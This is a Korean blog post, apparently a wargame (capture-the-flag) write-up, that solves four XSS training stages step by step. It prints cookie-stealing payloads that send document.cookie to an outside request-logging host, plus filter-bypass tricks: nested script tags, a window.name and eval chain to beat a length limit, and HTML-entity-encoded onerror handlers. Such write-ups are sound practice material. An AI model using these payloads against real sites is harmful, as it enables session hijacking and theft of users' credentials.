짠WEB투어 XSS - 4일차

By yeali | September 12, 2018

짠내투어 XSS 4일차


이전편 요약


이제 손에 익어서 슬슬 지겹죠?ㅠㅠ 빨리 끝내버리죠! 

XSS 골목투어 2일 남았어요! 아자!




우와! 드디어 slover 두자리 수에 들어왔습니다!!

뭔가 이제 골목길 들어선 느낌이네요!!

골목길에 길 잃어버려서 나 없어지면 찾지마요…





XSS 여행 4일차 계획

  • 1. 동네 탐방(수천번의 노크 XSS)

    • Stage 19 - Hello, XSS
    • Stage 20 - scrscriptipt
    • Stage 25 - Limit count script
    • Stage26 - Change Capital letter





Stage 19 - Hello, XSS

이번 문제는 어려운건 아닌데,
이런 경우도 있었다는 걸 보여드리고 싶었어요!

들어가면 아래와 같이 알림창이 뜹니다.




<body onload="alert('Hello, XSS')">


Hello, XSS
코딩 공부할때, Hello, world부터 출력하고 보잖아요!
진짜 이제부터 시작인가봐요! 우리 오늘이 4일차인데 첫날인거같은 마술!


q 뒤에 있는 내용을 XSS가 있는 부분에 넣어서 알림창을 출력해주는 역할을 하고 있습니다.

그럼 우리의 알림창도 띄워볼까요..?


<body onload="alert('Hello, XSS')">


이렇게 되어있는데, alert창을 닫고, 다시 alert(1)를 넣으면 되지 않을까…?

해보자! 꾜!


?q=에레레%27);alert(%27메롱%27)//






쨔란 된다? 자 이제 시작이야 내꿈을~

그래서 alert('메롱')document.cookie를 보내는 스크립트를 넣으면 되겠지?!


q=XSS');location='서버주소?a='%2Bdocument.cookie//


이렇게 하면 Hello, XSS가 뜨고 그걸 클릭하면, ok가 뜹니다. 근데 막상 FLAG가 오지 않아요..

그래서 혼자 열심히 고민을 해봤는데, 이건 제 뇌피셜입니다.




여기서 url form을 보내서 flag를 받는 형식의 wargame사이트인데요.

실제 문제 사이트에서는 제가 Hello, XSS 알림창이 뜨면 확인을 눌러주면 서버에 정상적으로 쿠키가 보내졌는데…
그런 과정없이 한번에 가야 되는듯..음

그래서 window.open을 사용을 해볼까했지만, 실패!


제가 너무 돌아가보려고 했나 싶어서,
eval함수로 location='http://requestbin.fullcontact.com/1def3da1?a='%2Bdocument.cookie
실행하도록 하니…성공이었습니다!




Stage 20 - scrscriptipt

딱 문제 페이지부터 들어가면 소스보기를 하고 이 문제에 대해서 생각을…?

해보려고 했지만, XSS 이게 끝!

진짜임.



그래서 기본을 시도했다!


<script>alert(1)</script>


이렇게 하니까 alert(1)가 뜹니다. 이걸로 <script>가 필터링되어서 없어짐을 알게 되었습니다.

예전에 xss game에서 이런 문제 있었는데, 그 문제에 대해서 기억나시나요?

그렇게 풀면 풀립니다!! 우와!


q=<scscriptript>alert(1)</scrscriptipt>


우힛 이렇게 하면 알림창 뜸! 그 이후에는 예상이 가죠? 그럼 pass!




stage 25 - Limit count script


<script>alert(1)</script>


이렇게 하면 떠서 의아해서 밑의 스크립트를 넣으니


<script>location='http://requestbin.fullcontact.com/1def3da1?a='%2Bdocument.cookie</script>


역시 25번까지 왔는데 될리가 없죠!

그래서 왜 안되는지 소스코드 보기를 해서 보면 중간에 글자가 짤리네요!




이거 보니까 몇자 짤려요! 몇자까지 잘리나보면,


12345678901234567890123456789012345


총 35자까지 잘립니다. 35자 안에 모든 걸 끝내야 되는데, 어떻게 이 안에 넣을것인가?


이거 보니까 몇자 짤려요! 몇자까지 잘리나보면,


12345678901234567890123456789012345


총 35자까지 잘립니다. 35자 안에 모든 걸 끝내야 되는데, 어떻게 끝내야 되지?

location='http://서버주소?'%2Bdocument.cookie 이것만 해도 35자 넘는걸?

고민하다가 Stage 14번 기억하세요?

문자 갯수 제한 없는 비슷한 문제에 넣어서 풀면 되지! 라는 생각에 도달하게 되었어요!

그전에 우선 이 문제에서 알림창을 띄어봐야 해요!


<svg/onload=alert(1)>
<script>window.name="location.href='서버주소?a='%2Bdocument.cookie";
location.href="stage25번 주소/?q=%3Csvg/onload=eval(name)%3E"</script>


이렇게 짜고 스크립트 갯수 제한 없는 stage2에 스크립트 추가해서 넣었습니다!!

예~~ 풀어써 이거 풀때는 내가 이걸 왜 하고 있는가?!!!! 이 생각 뿐이었는데 푸니까 기분 좋음! 신나!




Stage26 - Change Capital letter


첫 시작은 디폴트로!


<script>alert(1)</script>


오! 역시 안되네염! 소스코드를 확인해볼까요!!




보니까 제가 치는 내용이 모두 대문자로 바뀌는것 같습니다!

js는 대소문자를 구분하기 때문에 대문자로 XSS를 할 수 있는 방법에 대해서 생각해야 됩니다…

이럴땐 커닝페이퍼를 잠시…ㅎ




XSS Cheat Sheet


오! 이걸로 하면 되겠는데요? 소문자가 없어요!

<IMG SRC=1 onerror=location='서버주소?a='+document.cookie>

html entity를 활용해서 풀면 되겠다는 생각까지 왔어요!


HTML entity encoder/decoder



<img src=1 onerror=&#x6C;&#x6F;&#x63;&#x61;&#x74;&#x69;&#x6F;&#x6E;&#x3D;&#x27;&#x68;&#x74;&#x74;&#x70;&#x3A;&#x2F;&#x2F;&#x72;&#x65;&#x71;&#x75;&#x65;&#x73;&#x74;&#x62;&#x69;&#x6E;&#x2E;&#x66;&#x75;&#x6C;&#x6C;&#x63;&#x6F;&#x6E;&#x74;&#x61;&#x63;&#x74;&#x2E;&#x63;&#x6F;&#x6D;&#x2F;&#x31;&#x63;&#x63;&#x69;&#x34;&#x78;&#x73;&#x31;&#x2F;&#x3F;&#x61;&#x3D;&#x27;&#x2B;&#x64;&#x6F;&#x63;&#x75;&#x6D;&#x65;&#x6E;&#x74;&#x2E;&#x63;&#x6F;&#x6F;&#x6B;&#x69;&#x65;>


그래서 이렇게 했는데 결과는 fail!

왜 안될까…ㅠㅠㅠ막 혼자 고민했는데 커널 잘하는 puing언니가 알려줌!

#이랑 &로 html entity로 변경해줘야 되는거였어…ㅠㅠ 대박


<img src=1 onerror=%26%23x6C;%26%23x6F;%26%23x63;%26%23x61;%26%23x74;%26%23x69;%26%23x6F;%26%23x6E;%26%23x3D;%26%23x27;%26%23x68;%26%23x74;%26%23x74;%26%23x70;%26%23x3A;%26%23x2F;%26%23x2F;%26%23x72;%26%23x65;%26%23x71;%26%23x75;%26%23x65;%26%23x73;%26%23x74;%26%23x62;%26%23x69;%26%23x6E;%26%23x2E;%26%23x66;%26%23x75;%26%23x6C;%26%23x6C;%26%23x63;%26%23x6F;%26%23x6E;%26%23x74;%26%23x61;%26%23x63;%26%23x74;%26%23x2E;%26%23x63;%26%23x6F;%26%23x6D;%26%23x2F;%26%23x31;%26%23x63;%26%23x63;%26%23x69;%26%23x34;%26%23x78;%26%23x73;%26%23x31;%26%23x2F;%26%23x3F;%26%23x61;%26%23x3D;%26%23x27;%26%23x2B;%26%23x64;%26%23x6F;%26%23x63;%26%23x75;%26%23x6D;%26%23x65;%26%23x6E;%26%23x74;%26%23x2E;%26%23x63;%26%23x6F;%26%23x6F;%26%23x6B;%26%23x69;%26%23x65;>


이렇게 또 한문제를 클리어했다!



오늘은 여기까지!

다음편이 XSS wargame 문제 풀이 마지막입니다! 두둥!

comments powered by Disqus